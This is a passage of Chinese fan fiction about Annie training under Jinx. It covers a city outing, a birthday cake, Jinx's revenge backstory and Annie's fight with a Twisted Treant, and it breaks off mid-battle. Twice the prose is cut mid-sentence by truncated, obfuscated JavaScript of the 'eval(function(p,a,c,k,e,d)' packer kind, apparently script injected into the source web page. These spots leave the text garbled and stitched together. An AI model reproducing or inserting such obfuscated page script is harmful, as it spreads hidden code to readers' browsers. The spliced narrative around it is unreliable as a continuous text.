安妮趴在岸边疯狂咳嗽着,水、血和肺都好像要一并咳出来。眼前的世界恢复了光亮,安妮却睁不开眼。 好像过了一个世纪,安妮撑着上半身,腿还是绵软无力的。但她的记忆慢慢开始回笼,周围的环境由陌生变得熟悉。 面前还有一双凉鞋。 安妮抬起僵硬的脖颈,金克丝正笔直地站着,摆弄自己的手掌。 “不愧是小狼,爪子真锋利。” 安妮还在咳嗽。 明明金克丝在岸上,安妮在水里,这近两米的距离却丝毫分不开她们的气势。 安妮还在使劲喘息着。她第一次觉得呼吸空气也是一件幸福的事情。或者说,活着是一件如此令人幸福的事情。她只是紧盯着金克丝,但金克丝知道她没有看自己。 安妮在想些什么,她自己都不知道,但凌乱的思绪过后,她却感觉鼻头很酸。 分不清滑落脸颊的是河水还是泪水。 “一直睁着眼睛,不干么?” 安妮还是沉默着,没有说话。 她张了张嘴,喉咙干渴得难受,肚子却是鼓胀的。明明喝了那么多水,却好像行走在沙漠里的人。 迟钝的思维还没有运转开。 金克丝也不急,坐在岸边擦手,安妮才看清那上面鲜艳的红痕。 “……对不起。” “没想到你的第一句话居然是道歉。” “簌……” 安妮吸了吸鼻子,感觉恢复了些气力,就慢慢爬上了岸。衣服鞋子都已经湿透,但是却没有脑子里的想法半斤重。 “说说吧,你想到了什么?” 想到了什么? 她想到了很多。 想到了欺骗自己的人丑恶的嘴脸,想到了自己未完成的使命,想到了那些无私帮助自己的人,想到了凯德阿姨和爸爸妈妈,想到了夜晚,想到了黎明…… 还有那个人。 她以为自己已经忘记,但现在才发现欺骗没有那么彻底。 所有人都骗了她,只有她自己没有骗过自己。 木木…… 一想到这个名字,安妮就觉得心脏震颤得难受。 “姐姐说,人只有在临死的时候,才会回顾自己的一生,先是不甘,愤恨,然后可能会有遗憾、后悔,但最后,只会留下美好的东西,因为那些才是我们拼命追求,永远无法忘却的。” “但她错了。” 安妮愣住了。 因为她以为那是对的。 “在我濒死的那一刻,我拥有的不是美好的记忆,而是报仇的信念。” 她的执念该有多深? “你成功了吗?” “成功了,也没完全成功。” 安妮不太明白,但至少她知道金克丝还在为她的目标努力着。 “你想到了什么?” “我?” 我想到了一个人。 但安妮没有说。 “我不知道。” “你只是不想说,或者不愿意承认。” 也许是的。 安妮想着。 她就是这么懦弱,又这么胆怯。她不承认自己厌倦了复仇的道路,也不愿意承认自己渴望幸福宁静的生活。 “不想说也没关系,我知道有些事情并不是说出来就可以释怀的。继续训练吧,我不保证我可以继续这么无所事事下去,路西瑞城需要我给它增添生气。” “好。” 安妮垂眸,感觉金克丝渐渐远去。 起码,她现在知道潜力这个东西了。 有些东西,只有拼了命地去争取,才知道极限在哪里。 面前好像躺着一只死去的浣熊。 30. 30 跳跃、旋转,向着树干用力一蹬……安妮在空中一个翻身,双手撑地滚了一圈,直起了身体,腿还有些发软。 金克丝就在一旁看着,不住地摇头。 “不对……不对……” 练习快两年了,所有的理论知识和实战经验都不断经受着磨炼,只有招式,安妮做起来总是没有金克丝那么流畅——不只是赏心悦目,还有真实效果。 安妮把手掌上的土灰拍掉,上面的砾石摁得她手疼。她仔细回忆金克丝的动作:三两步冲到树边,弹跳而起,弯曲、蓄力,右腿踢向树干,如离弦之箭般跳向左前方的树干,继续重复,高度却没有任何变化。最后,全力踢向树干,借力翻转半圈,弯腰伏在地上,只有左手撑着地面,右手上还握着一根树枝。 “你还是在重复之前的落地动作……是害怕?” 金克丝的着陆方式可以直接在拉开距离后翻转过来,及时应对后方的攻击或者躲进低矮建筑。安妮的落地却需要更长时间的缓冲,站起身来重心不稳,目标还大。 “虽然你可以选择滚进障碍物,但我可不希望金克丝的徒弟被追杀的时候这么狼狈。” “到底是哪里出了问题?” 安妮有些烦躁,她同样也不甘心。 明明每一次都尽力做到最好了,为什么还是不行?金克丝说过不是力量的问题,她的一系列动作也证明自己的敏捷和熟练确实达到了标准……安妮只有最后一步的动作和金克丝不一样,但似乎并没有那么简单。 难道是因为……安妮突然想到什么。 见金克丝挑了挑眉,露出戏谑且带着笑意的表情,安妮知道她肯定也想到了。 “是不是因为……你太矮了?” 金克丝说完就背过身去,安妮知道她这是不想打击自己,但笑声能不能小点…… 是啊,她太矮了,腿也不够长,踢到树的时候高度不够,自然就没办法在空中转身,只能退而求其次在地上打个滚。 还有之前飞越障碍也是,抓着藤蔓在树间来回穿梭,总是越吊越低。和金克丝切磋也不好攻击眼睛。 金克丝笑够了,才转过身,尽量板着脸分析:“咳咳,如果是这个原因的话,没准我可以降低点要求,比如……” “不。”安妮打断金克丝,有什么想法破土而出,“我能做得和你一样好。” “你还能把自己扯长?” “不,也许我可以换个方法。” “换个方法?” “要学会随机应变,这是你的书教我的。如果你的身法不适合我,那我就自创。” 金克丝有些错愕,但她并没有按照惯例打击安妮:“不愧是我徒弟,既然你要改,我就陪你一起改。” “那么,在此之前,我先把你的所有身法学会。” “包教包会。” 金克丝咧嘴,眼底是毫不掩饰的满意。 安妮不知道,金克丝眼中的自己如今有多么自信。 那个怯懦的女孩早已在一次又一次挑战中蜕变了,只是她还没从倒映的湖水里看出自己眼中的光。 “啪!” 野果掉进河里,溅起一片水花,水花坠落,带起一圈圈涟漪…… 夏天越来越热,安妮撑着下巴坐在湖边,也不知道这是第几次坐在树下乘凉了。山中无岁月,除了知道季节,她什么都看不出来。 “想好了吗?” 金克丝熟练地弯腰、坐下,安妮看见视野斜上方有条绿色的东西,她猜多半是金克丝叼着的狐尾草。 唉,这就是身高的差距…… 安妮随手捡起身边的一块石子,掂量两下扔了出去。石子在湖面跳跃了好几下,渐行渐远。 “咚!” 金克丝扔了个没成熟的果子,她使的力气更大,但是果子弹了两下就笨重地落入水底了。 “小有小的好处,你在我招式的基础上改造,归根到底还是我的标准。”金克丝说着又扔了一颗石子,“看看这颗石子,是不是比果子弹得远,也比你的弹得远?” 是的,金克丝的石子一直跳到了安妮的视野边缘。 果子和石子没有可比性,但同样都是小石子,金克丝扔得仍旧比自己远。 扬长避短,她没有扬长,也不会避短。 “谢谢,我明白了!” 安妮迅速起身,朝着训练的地方跑去。 金克丝坐在湖边,仍旧是慵懒的模样。 还好姐姐以前教过我打水漂,不然扔不过安妮也太丢人了。 安妮一路狂奔,到达之前训练飞檐走壁的地方。她在脑子里演算,面前好像多了两个黑色小人。长腿小人一连串漂亮的动作,身后紧跟着的短腿小人相对慢一些,高度也低一些。 到了落地的姿势,长腿小人半个旋身就翻面蹲了下去,短腿小人高度不够,做不到。不能滚,双手撑地以后也不好拿武器。 但是她的速度快,而且…… 安妮摸了摸包里的东西,继续推演距离。 “杵在那儿干嘛?这些树有那么好看?” 身后金克丝的声音传来,是在头顶。 “你来追我。” “哟,想到办法了?” “想到了,但是需要实验。” “行,给你三秒钟。三……” “你……” 安妮还想说没准备好,见金克丝不停,赶紧趁着两秒的倒数助跑冲刺。 金克丝选择的场地被特意改造过,两边的树很密集,间隔很窄,地上全是枯草藤蔓,她模拟的就是满地陷阱只有窄墙的情形,要迅速逃走只能左右横跳。 安妮按照老样子飞檐走壁,身后金克丝跟来的声音越来越近。到了最后,安妮已经能听到金克丝行动的风声,看见地上被吹歪的草。 马上就是出口了! 安妮心一横,最后一脚踢上树,在空中翻过一半身体,对着地面拍出两颗烟雾弹,然后双手撑地,弯曲胳膊把自己弹进旁边的草丛。 凹凸不平的砾石把手掌划破了皮,但安妮的心比手上的疼痛更火热。金克丝挥散了烟雾,准确无误地往安妮躲藏的地方走去。 “主意不错,就是动静太大,力量够了之后,你可以做到悄无声息。还有你的烟雾弹,我离得近可以被遮挡视线,远处的人你怎么解决?” “所以我需要实验呀。” 安妮眨眨眼,那意思很明显。 金克丝无奈摊手:“好吧,勉强陪你练习练习。不过,你就打算改这一个?” “当然不是。” 安妮回忆着金克丝教导的各种动作,突然感觉脑子里阻塞的思维被疏通了,所有的招式改造其实都是有规律的,核心就是:快、轻、小。 “飞跃的时候呢?不会再撞到树上了?” “我能抓着树枝荡出去,你可不行。” 金克丝听见安妮如此迅速的回答,知道她真的有了灵感。金克丝干脆坐了下来,把自己想得到的招式挨个问了一遍。 有时安妮会卡住,但只要金克丝描述一下场景,安妮立刻就能想到利用周围的东西。两人再合作修改一下,太阳就渐渐下山了。 “明天开始实验?” “没问题。” 安妮摩拳擦掌,跃跃欲试,眼里的光像极了潜伏在森林里的狼崽。 时光飞逝。 这一次,是在断崖上。 娇小的少女和面前高大的女人打得有来有往。蓝色的辫子在太阳下闪着金光,黑色的长发被扎起,随着动作甩出一滩汗水。 “嘭!” 对掌分开的瞬间,有什么东西突然炸裂! “咳咳咳……” 金克丝在感觉掌心碰到异物的时候就反应过来了,闭眼后退、双手交叉摆出防御姿势。安妮趁机往身后跑去,离了老远才停下,开始哈哈大笑。 “你怎么这么阴险,这些可不是我教的。” 金克丝叉着腰往旁边走,尽量离开辣椒粉飘散的地方。断崖上风很大,安妮站在下风处,一个不察,也跟着开始擦眼睛。 金克丝这次哈哈大笑起来:“活该!自讨苦吃了吧!” “彼此彼此,昨晚的辣椒粉味道还好吗?” “昨晚的?” 金克丝想起昨晚和安妮吃烤肉的场景,顿时反映了过来,感觉鼻子里的辣椒味瞬间带上了酸馊味。 “好你个安妮,对着我还敢用昨晚的辣椒粉!” 之前她可都是扔沙子烟雾弹的,还是很小的,意思意思。 “谁叫你自己说的,这一次要认真打,我要是坚持到半小时就给我放假。” 在森林里待了这么久,金克丝时不时都会去路西瑞城晃荡,她却哪都不能去。要不是金克丝承诺这次对抗训练她坚持半个小时就能去城里,她才不想这么干呢。 而且她看得出来金克丝这一次是认真了的,她使出浑身解数才没被逮到。要是开发的新招式她全都熟悉了,也不至于这么被动,但谁让她才练几个月呢。 “行了,你就算没成功我也会带你出去的。”金克丝翻了个白眼,“走吧。” 安妮有些心虚,金克丝是不会说谎的,至少对着她没必要说谎。何况她要是真能在全力以赴的金克丝手底下跑半个小时,那卡伊特也不用那么头疼了。 “发什么呆呢?”见安妮跟在身后,差点撞到自己,金克丝一巴掌拍在她头上,“快点选衣服,晚了就中午了,大太阳的晒黑了你负责。” “哦哦……” 安妮才发现金克丝正在乔装打扮。她的蓝色长发太惹眼了,简直可以说是标志性物品。虽然路西瑞城估计没有认识自己的人,但安妮还是谨慎选择了一头白发。 看着面前一头黑色短发,白T长裤,皮鞋锃亮的高大精英,安妮简直不敢相信自己的眼睛。 “要学易容别找我,莫斯卡是鼻祖,蒂尼是宗师。” “蒂尼是谁?” “你不认识,算基兰的半个租客。” 守望麦田被租出去了?应该不是。安妮想蒂尼多半是住在守望麦田的隐居者。 那也很厉害了——守望麦田里的人一定都很厉害。 安妮没有戴假发,她的黑发并不显眼。金克丝也没有强求,毕竟路西瑞城虽然在圣城附近,但她相信安妮是遇不到什么熟人的。 这是安妮五年来第一次再次进入人流涌动的集市。她有些局促不安,好在热闹的环境下,她并不显眼。 金克丝大摇大摆地走在前面,这是安妮不曾设想过的情景。 她们来到一间酒馆,金克丝熟练地开始点菜。 “有菜单,要吃什么自己点。” 金克丝扔过去一张纸,安妮接住。 清蒸羊肉、爆炒牛蹄筋、香辣兔丁……就是没有□□腿。 安妮只是快速看了一眼,点了几个森林里不常吃到的肉菜。她对吃食没有太多欲望,就像阿若盖特不理解珀森对酒的执著一样。 小酒馆里,人们大肆谈论着当局又明目张胆地搜刮了多少民脂民膏,谈论着路西瑞城的女警又因为一身傲气和谁起了冲突…… “别那么紧张,卡伊特现在不在路西瑞城。” 金克丝一脚踩着凳子,端起桌上的水一饮而尽。 安妮竖起的耳朵更加僵硬,有些担心周围的人听到。 “你不会以为整个路西瑞城只有我讨厌卡伊特吧?” 金克丝的声音很大,也很自然,这谈话立刻引起了周围人的共鸣。 “就是就是,谁还没个小偷小摸或者违法乱纪的时候,卡伊特那个老顽固还整天端着条条框框,谁都不乐意见她。” “也就拉缇敢在她面前撒野,还不怕被打。” “警匪一家嘛,嗨!” 酒馆里的人不吐不快,从头到脚把卡伊特数落了一遍又一遍。只有安妮知道等卡伊特真正到来的时候,他们一个个结账得比谁都快。 也许真正欢迎卡伊特的只有那些完全没有做过坏事的人吧……但这种人真的存在吗?或者,这种人也不过是太弱小罢了…… “菜来咯!” 一盘盘香喷喷的肉被端上桌,安妮立刻被吸引了。 尽管金克丝经常开小灶,但有的东西还是现场吃才有味道。 小酒馆的菜虽然没有阿狸姐姐做的精致细腻,但胜在量多料足。呛人的辣椒把腥味完全盖住,孜然椒盐的味道在口中炸裂开,油脂从肉里渗出,还带着热气。 安妮一直吃到撑住才停了下来。原本她还担心吃太多逃跑不方便,但金克丝完全放松的态度告诉她危险并不存在。 “吃饱了?吃饱了出去走走?” 安妮点头。酒馆里的人毕竟没有悦来客栈的客人财大气粗,知道的有用信息不多,吹牛的话她倒是听了不少。 金克丝爽快地扔了一个金币,那小二开心地接过,周围的人眼神里多了份探究。 安妮心道不妙,金克丝却仍旧大摇大摆出了店。 “很疑惑?” 疑惑什么?不知道。但安妮点了点头。 “他们在思考我是金克丝的概率。” 见周围人不多,金克丝小声解释。 “那他们会不会……” “不会。”金克丝直接打断安妮的疑问,“叫那些女警来没有任何用处,帮他们抓住我也只会多一张兑换不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啧啧,路西瑞城可是源大陆最繁华的城市,要不是圣城多了个光明学院,它能排第一的——圣城有的它有,圣城没有的它也有。” 可是这里没有悦来客栈,也没有阿狸姐姐…… “唉……” 安妮悄悄叹了口气。 “既然你想不到,我就带你去好了。今天是个好日子,不要唉声叹气的。” “好日子?” 金克丝没解释,拉着安妮去游乐园了。 安妮到底是个孩子,何况在森林苦练了近五年的身法,在金克丝的带领下,她很快沉浸在游戏的欢乐中。 金克丝会的游戏很多,她早在过年的时候就领教过了,这一次有了场地,她们闹得更欢了。 在终于赢下了老板的最终大奖之后,安妮意犹未尽地放下了玩具枪。在老板略带不舍的眼神中,她把自己拿到的一人高的毛绒玩具还了回去。 “你真不要这个奖励?我可不支持换的。” “不用了,谢谢。” 老板的奖励大部分都是毛绒玩具,别的她也不需要。 森林里还有只玩偶呢,别让他吃醋了。 安妮想到藏起来的提伯斯,心情有些低落。因为担心被加丁通缉,她自己易容了不说,提伯斯也只能呆在安全的角落沉睡。 “回去了?” “嗯,回去吧。” 她也想回去了。 金克丝带着安妮往外走,却是回到了之前的木屋。她大喊一声,老人颤颤巍巍地出来,手上提了个盒子。 “谢谢。” 金克丝塞了几串银币,老人沉默着接过了,也道了声谢。 安妮总觉得这场景奇怪得很。 回去的路上,她有些好奇盒子里的东西,可惜金克丝就是不肯给她看,非要等到了森林。 紧赶慢赶,踏着黄昏,最后安妮估摸着应该已经快十二点了,金克丝才神神秘秘地带着安妮来到湖边。 她放了好几块萤石在周围,地上的摆成一个圆圈,盒子就在中间。安妮觉得这像极了某种仪式。 在明亮的灯光下,金克丝慢慢打开盒子。 安妮首先看见的是两个立体小人。 一高一矮,高的长发及腰,一席白裙温柔似水;矮的扎了两个辫子,穿着小红裙活泼可爱。她们坐在蛋糕上,紧紧拥抱在一起,姐姐的手还抚摸着妹妹的脑袋。 明明没有表情,但安妮总觉得她们是笑着的。 蛋糕表面是一片草地,草地上开放着莹蓝色的小花。 安妮抱着提伯斯,坐在草地上,有一瞬间感受到了那种相同的温暖。 “知道这是什么吗?” 摇头。 “这是蛋糕。” 看得出来,这是蛋糕,但好像又和那种普通的糕点不同。这个蛋糕并不太大,但胜在精致,上面的图案是立体的,还有那两个小人…… “姐姐说,蛋糕是用来庆祝自己的降生的。每过十年,她就会为我准备一个蛋糕,庆祝我的到来。她说我的存在很重要,所以需要纪念。” 安妮眼里流露出一丝羡慕,她从来不知道原来一个人的存在也可以被这样重视。 “这是别人都没有过的。我曾经问姐姐,为什么别人没有,甚至她也没有。她告诉我,并不是所有人的降生都会被人铭记,也不是所有人都知道存在于这个世界是一件多么值得庆祝的事。” “姐姐说,一定要把蛋糕吃完,这是将祝福全部吞进肚子里。” “过去的蛋糕很小,姐姐存了好久的钱也不够买一个精致的蛋糕,那个好心的老爷爷最后答应每十年给她免费做一次蛋糕,他的手艺在那个时候是钱都买不到的。” “我和姐姐两个人,总是在那天把蛋糕吃得干干净净。姐姐说,她的生日没人记得了,就和我同一天……” “我知道她是为了节省钱,不让我自责。” 金克丝说着,已经把蛋糕分成了两份。她递给安妮一块蛋糕,眼里似乎装着星光。 “分你一半祝福。” “谢谢。” 安妮叉起一块奶油。甜甜的,入口即化。 微风轻拂,今晚注定是个不眠之夜。 安妮以为,金克丝会在回忆里度过这个安静的夜晚。却不知在何时,她突然开口说话了。 安妮闻着浓郁的酒香,听着金克丝缥缈的声音,心中忽然一紧。 金克丝在讲故事。 31. 31 “从前……有一对姐妹,姐姐二十岁,妹妹十岁。她们都只是普普通通的人类,爸爸妈妈已经在战乱中死去,留下她们相依为命。姐姐依靠在歌舞坊给贵族唱歌获得微薄的收入,妹妹年纪太小,什么也做不了,只能尽量不给姐姐添乱。 后来呢,有一个喜欢听歌的贵族看上了姐姐的才貌,他想要包下姐姐,让她留在府里,只给他一个人唱歌。 但是姐姐拒绝了。因为妹妹需要照顾,并且只给一个贵族唱歌并不意味着有更多的收入,反而会让姐姐失去在歌舞坊长久稳定的工作。 但是那个垃圾并没有尊重姐姐的意愿,在屡次提出要求都被姐姐拒绝后,它软禁了姐姐。它打造了一个纯金的笼子,把姐姐关在了里面,只每天给她食物和水,让她在笼子里唱歌,还邀请其他贵族展示自己的‘战利品’。姐姐恳求贵族放了自己,她还有妹妹需要照顾,但是它没有答应。 后来……后来,姐姐悄悄拜托每天给她送食物的侍女,将妹妹放进来,对妹妹做了最后的嘱托。妹妹不想让姐姐死去,哭着去乞求贵族高抬贵手,结果被打了出去,那个侍女最后也因此不知所踪。 又过了几天,妹妹到处哭告,却没有任何用处,最后,她从贵族府里得到了关于姐姐的最后一条消息:金丝雀郁郁寡欢,撞笼而死,贵族于是把鸟儿扔进了森林,让她回归自然。 妹妹很绝望,但无论她向谁求助,得到的结果永远是沉默。她找过警察,找过其他贵族,甚至在执法官卡特的马车前跪下,但毫无用处。最后,妹妹沉重地踏上了去往奇迹平原的路。 她穿过了灾难丛林的边缘,穿过了无数个贫困的小镇,打跑过来抢夺食物的小孩,咬死过凶狠残暴的恶犬……最后的最后,她终于去到了奇迹平原,并且成功找到了传说中的守望麦田。 她在那里长大,学习身法、枪炮、计谋,只为了有朝一日能手刃仇敌。二十年后,她成功制造了皇城和路西瑞城最大的惨案,一个贵族世家在一场大火中消失得无影无踪,两地财宝被抢劫一空。 这个突然出现的女孩让无数警察闻风丧胆,她在这起惨案后并未收手,而是接着审判那些仗势欺人的贵族,并把金银珠宝分发给穷人。 呵呵,可笑啊,那些之前对她视而不见的警察,终于开始正视她了。可惜,即使路西瑞城和皇城等所有大型城镇都颁发了她的最高通缉令,她也没有被抓住。 这个女孩的原名已经不重要了。她在四处哭求的时候,那些人责怪她是厄运的化身,害死了自己的姐姐,所以她给自己取名,Jinx。 你曾经问过我,为什么会取和‘厄运’谐音的名字,是不是有什么特殊的意义,但其实,金克丝的含义,就是金克丝。” Jinx,金克丝。 原来她的名字是后面改的。 “不是所有人都能找到守望麦田的,至少在我之后的二十年里,我从未见过有人去到守望麦田。” “你的这些东西——离子炮,储物戒指,还有一身本领,都是基兰大师给你的么?” “是的,他的身边有一个对枪炮研究到极致的科学家,这个离子炮听说是他隐居前的杰作,在到达守望麦田后不断更新,最后给了我。” “那我……” 是不是也有可能恢复灵力? “不要忘记,那里为什么叫‘奇迹平原’。” 因为那里是能创造奇迹的地方。 安妮的眼神坚定了许多。 “要去那里,对于现在的你而言很简单,但在此之前,你需要完成一件事。” “什么事?” “帮我杀了无妄森林深处的扭曲树精。” “扭曲树精?” “这个家伙抢过我的财宝,我必须让它连本带利吐出来。” 金克丝满身酒气,说得任性。 或许事情并没有这么简单,但是安妮没有理由拒绝。 这是一个锻炼自己的好机会。 “它在哪里?” “我有地图,你拿着去就行了。”金克丝似乎早有准备,不仅拿出了地图,还附赠了一个包裹,“这里面都是你可能会用到的,杀了扭曲树精后,把它留下的东西装起来,放在这棵树下面,剩下的财宝你可以带走。我不会等你太久,希望五天后能有你的好消息——要是没有,我就当我这个徒弟死了,放心,我不会去给你报仇的。” “好。” 安妮接过包裹,总觉得金克丝有什么自己不知道的计划,但她没问。 她承认我是她的徒弟了,真好。 安妮离开之前,脑子里想的只有这个。 “喂,等等。” “?” 安妮转过身,金克丝在原地,抱着手臂,尽管有些东倒西歪,但还是一副狂拽炫酷的模样。 “记着,我才是你的第一个师父。” “我会的!” 安妮笑了,是一种被认可的笑容。 金克丝也笑了,是一种释然的笑容。 “拜拜~” “再见!” 安妮挥手,灯光下,金克丝笑得很灿烂。 安妮想,她一定能在五天内回到这里,和金克丝告别。 但安妮不曾想到,这一次告别,就已经是永别。 金克丝目送着稚嫩的少女离开,扬起的手和视线一起慢慢落下。 她转身,再次跃上树枝,朝着无妄森林的边缘赶去,眼中是带着波光的清明。 安妮拼着一口气披着星星赶路,终于在和金克丝告别的第二天中午到了扭曲树精所在的地方。 之所以这么清楚,还是因为金克丝在地图上附赠的草图——那是一棵与众不同的树,枝干就像人扭曲了的四肢,树叶边缘都是锯齿,在无妄森林里并不算粗壮,但仔细看一定能够分辨得出。 安妮并不打算轻易招惹这个沉睡的家伙。她一路走来隐藏行踪,就是为了不被无妄森林里的大家伙发现,贸然行动肯定会招来祸端。 她一边休息一边思考:用火烧?不行不行,这一烧恐怕整个无妄森林都要付之一炬了。 用水淹?算了吧,先不说淹不淹得死,就说这水也不是那么好搬运的。 刀割?还是会有动静,而且地图上明明白白写着它的恢复能力极强,砍得说不定还没有它长得快。 那么它需要的养分到底从哪里来?答案很明显——土壤。 或许应该想办法把它引诱到没有土壤的地方,趁机动手。 安妮思考了一会儿,还是决定先找找没有土壤的地方,这个地方很好找——湖或者是河。 安妮尽量悄悄地绕着四周观察了一下——这也是金克丝教导的。每每到达一个陌生环境,第一要务就是寻找逃生路线和警惕危险事物。 她发现这里确实可以说是无妄森林深处,因为小的坑洞已经很难看见,每一片地区都安安静静。但你若是认为这意味着安全,那就大错特错了,因为这是那些大型动物划分好界限的意思。 唯一值得庆幸的就是冬眠过后扭曲树精不爱动,它所在的位置并不是无妄森林最深处,大概是冬天刚到时也懒得往最里面赶。 它挑的位置很刁钻,左边不远处就是一只巨坦熊的巢穴,这种熊对树不感兴趣,却可以一巴掌把人拍成肉泥;右边是层层叠叠的树木,全都和它身形相似,树叶的颜色都十分相近,非常适合隐蔽;往无妄森林深处走的路线最开阔平坦,而离开森林的方向正是安妮的来路,不说崎岖不平,单是岔路就有好几个。 往无妄森林深处走,旁边确实有个湖,但怎么骗扭曲树精进去是个问题,毕竟没有哪棵树会傻了吧唧往水里走。 扭曲树精喜欢财宝,用财宝诱惑或许可行。但是安妮没有财宝。 谁会有呢……很显然——她没有,扭曲树精有啊!之前它不就是抢了金克丝的财宝,才让金克丝如此记恨吗?现在她就以其人之道还治其人之身! 安妮在暗处观察了一会儿,大致猜定了几个扭曲树精藏着财宝的地方,就把行李藏好,拿着金克丝给的长刀,别着暗器,冲向扭曲树精。 面前的树在安妮的骤然发难下仍旧一动不动。就在安妮疑惑自己是不是认错了的时候,她忽然感觉脚踝边出现了一道风! 果然很狡诈! 下一秒,安妮的左脚踝被缠住,她在空中一个鲤鱼打挺,摆起上身划开藤蔓。后背又是一道劲风,安妮看也没看,从腰间抓起一颗爆裂弹扔出去。 “嘭!” 烟雾弥漫,树叶“哗哗”作响。安妮趁机往四处搜寻,果然看见扭曲树精身后重重垒起的树根下有东西闪闪发光。 她落地后一个翻滚冲到扭曲树精身后,举起长刀奋力一插!一条树根被定住,汁液流出,其他树根纷纷缩回,里面亮闪闪的金子果然露了出来。 安妮也不贪心,抓起口袋,没管散落的金块,扛着一大袋就往计划好的路线跑。扭曲树精的叶子疯狂舞动挥去烟雾,看见安妮偷走了自己的财宝,立刻追上去。 竭尽全力奔跑的安妮没回头,她只是感觉地面似乎震动了一会儿,有什么东西把土壤掀翻了,然后就是“沙沙”“唰唰”的沙土、树叶摩擦的声音。 这棵树跑得并不快,毕竟是植物,何况体型还很庞大。要不是安妮装着金块很重,恐怕扭曲树精都跟不上。 安妮到了湖边,假装惊慌失措地左顾右盼,然后猛吸一口气,一头扎进了水里。扭曲树精的枝叶颤动了一下,安妮不知道是什么意思,但巨大的阴影笼罩下来,安妮看见伸进水里的枝条,瞬间明白了过来——在湖边,它的根不需要下水! 一阵惊慌席卷而来,好在之前有过经验,安妮只是多吐了几个泡泡,就扛着金块对抗水下的树枝。这些树枝试图缠绕住安妮,但安妮知道自己失策后,只是思考了一会儿,就把金块往反方向奋力一扔,抓着一块小金子跑路了。 见那些枝条果然顺着水流摸索金块的踪迹,不再搭理自己,安妮立刻找了个安全的路线逃跑。她可还记得扭曲树精的狡诈。果然,就见有一些枝条搜到一半却开始延着她游走的方向伸来,安妮手起刀落,轻松解决。 “呼……” 安妮狼狈地爬上岸,浑身湿淋淋的,鞋子里全是水。但是让她感觉沉重的却是自己的计划。没想到千算万算,还是思考不周。扭曲树精活了快一百年了,枝条长是很明显的,不然也不会在无妄森林的土壤里茁壮成长了。 这第一次交锋,自己就收获了一块金子。这金子还是她为了吸引仇恨故意拿走的。她相信爱财的人哪怕是一块金子也会计较到底。 斜阳的余晖照在水面上,湖面就像铺了一层金子,闪闪发光。安妮被模糊了视线,晒了一会儿夕阳,才慢悠悠地回到自己藏行李的地方。 不知道是金克丝太懂安妮,还是只是机缘巧合,她居然放了整整三套衣服在里面,还有三双新鞋。 安妮睡在树上,学着金克丝的样子枕着后脑勺,觉得这样子似乎真的很轻松。她闭上眼睛,树下的篝火“噼里啪啦”地响,树叶的“沙沙”声夹杂着灌丛里的“窸窣”声…… 为什么感觉没有风? …… 危险! 安妮跳下树枝。 “啪!” 是行李被打落的声音。 它追过来了! 眼看着行李被枝条挑起,安妮借着火光观察四周。那些动静果然是扭曲树精悄悄靠近时制造的——无妄森林的深处风不多。 想到自己刚才差一点就被偷袭成功,安妮心里一阵后怕。好在金克丝告诉她腰间的东西不能取下,她的暗器还在。 必须把行李拿到。 安妮扔出一把飞刀,正中拿行李的枝条。包裹连带着枝条一起落下,安妮却没有第一时间去捡。她又往黑漆漆的前方扔出一个爆裂弹。 “嘭!” 果然,有埋伏!烟雾再次升起,扭曲树精这一次有了经验,下方一层的树叶竟然自动压了下来,挡住升腾的烟雾,把烟雾往两边驱散。安妮心里多了点思考,只是现在不是想清楚的时候。她飞快地取走行李,“唰唰“两个爆裂弹扔进树叶里。 “嘭嘭!” 下方的烟雾刚驱散,上方就被烟雾笼罩。尽管有外层的树叶挡着,扭曲树精的上半身还是挂满了烟雾。它似乎被爆裂弹的高温烫怒了,不管上方的烟雾弥漫,冲着安妮伸出五六根枝条。安妮拿出长刀边打边退,最后佯装往左边跑,趁着扭曲树精的枝条拐弯,往右边飞快地逃走了。 确定没了扭曲树精的踪影,安妮松了口气。她仔细回忆之前的战斗,一个猜想越发成型。 地图上只画了扭曲树精的模样,外加几个警示语,提到扭曲树精的高恢复能力以及狡诈嗜血又贪财的性格,却没有标注扭曲树精的眼睛在哪里。 她也只把扭曲树精当作正常妖怪,没有思考过这个问题。但今天的试探下来,很明显它的两只眼睛在不同的地方——一个在树叶里,一个在树干上。这样它既可以远眺,也可以近观,上下攻防兼备。 爆裂弹的烟雾弥漫,所以它看不到树根的情况,被她偷走了金子。后面下方的树叶挡住烟雾,一定是为了保护上方的眼睛。最后树叶被烟雾填充,它却准确伸出了枝条,很明显树干上还有只眼睛。 阿若盖特姐姐说过,要抓弱点,她就不信扭曲树精的眼睛不是它的弱点! 安妮开始琢磨第二天的行动计划,最后将时间定在了晚上。她要利用所有可以利用的东西,这才是猎人的素养。一棵树,当然是在温度最低的夜晚最容易被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安妮以为扭曲树精会反驳,没想到它居然安静下来没了声音,甚至一动也不动。安妮瞬间感到不妙。 “吼!” 是巨坦熊! 她被骗了! 扭曲树精已经装成了普通的大树,巨坦熊只看见安妮站在树上。它猩红着眼睛,显然被打扰了休息,此刻十分不满。 安妮见巨坦熊朝自己冲过来,立刻跳到另一棵树上。巨坦熊以巨大的力气和一身粗糙的皮肉出名,两臂一挥,安妮之前站的那棵树被连根拔起! 安妮望着愤怒的巨坦熊,旁边是扭曲树精偷偷摸摸要离开的身影。 可恶! 巨坦熊把拔出来的树使劲一甩,往安妮砸去。仅仅是一瞬间,安妮立刻想到了办法。周围的树木很多,安妮连着跳跃上树枝,巨坦熊在下面跟着奔跑。 锯齿形的树叶丛离自己越来越近,安妮直接把所有的沙球扔了出去,瞬间尘土飞扬! 她跳上粗壮扭曲的树枝,对着巨坦熊挑衅:“我在这里!” “吼!” 巨坦熊果然冲了过来,庞大的身躯震得地面颤动不已。它的思维很简单,拔了树安妮就下来了。而这棵树,自然是扭曲树精! 叫你祸水东引!安妮得意一笑,就想趁乱跳走,谁知视线一黑,扭曲树精居然将所有枝叶收缩,将安妮包裹了起来! 